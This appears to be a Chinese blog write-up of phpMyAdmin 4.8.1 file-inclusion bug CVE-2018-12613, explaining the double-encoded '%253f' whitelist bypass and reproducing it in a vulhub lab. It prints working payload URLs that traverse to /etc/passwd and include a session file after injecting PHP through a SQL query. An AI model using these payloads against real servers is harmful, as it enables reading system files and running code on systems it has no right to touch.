phpmyadmin 4.8.1 (CVE-2018-12613)

简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

影响版本

phpMyAdmin 4.8.0和4.8.1

漏洞分析

我们先下载源码

wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip

进行解压

nzip phpMyAdmin-4.8.1-all-languages.zip  

进行解压

nzip phpMyAdmin-4.8.1-all-languages.zip  

/index.php里面if区间一共有五个判断:

  1. 是否存在target参数
  2. target参数是否为字符串
  3. 值不能以index开头
  4. 值不能出现在$target_blacklist内
  5. Core类的checkPageValidity方法判断

如果通过判断则包含参数所指定的文件。

前几个判断可以忽略,重要的是后面两个判断,先看第一个

$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以

我们看下一个判断

首先找到Core类的checkPageValidity函数:

缺陷在urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证

漏洞复现

这里我们用vulhub和docker快速搭建环境

cd vulhub/phpmyadmin/CVE-2018-12613

docker-compose up -d

打开http:your-ip:8080即可看到phpmyadmin页面

http://192.168.20.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取,说明文件包含漏洞存在:

我们还可以这样利用,执行SELECT '<?php phpinfo()?>';

然后查看自己的sessionid(cookie中phpMyAdmin的值)

然后访问http://192.168.20.128:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_d776555732fe90dc7d50b31137c0cc1e包含session文件即可

 

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/106688367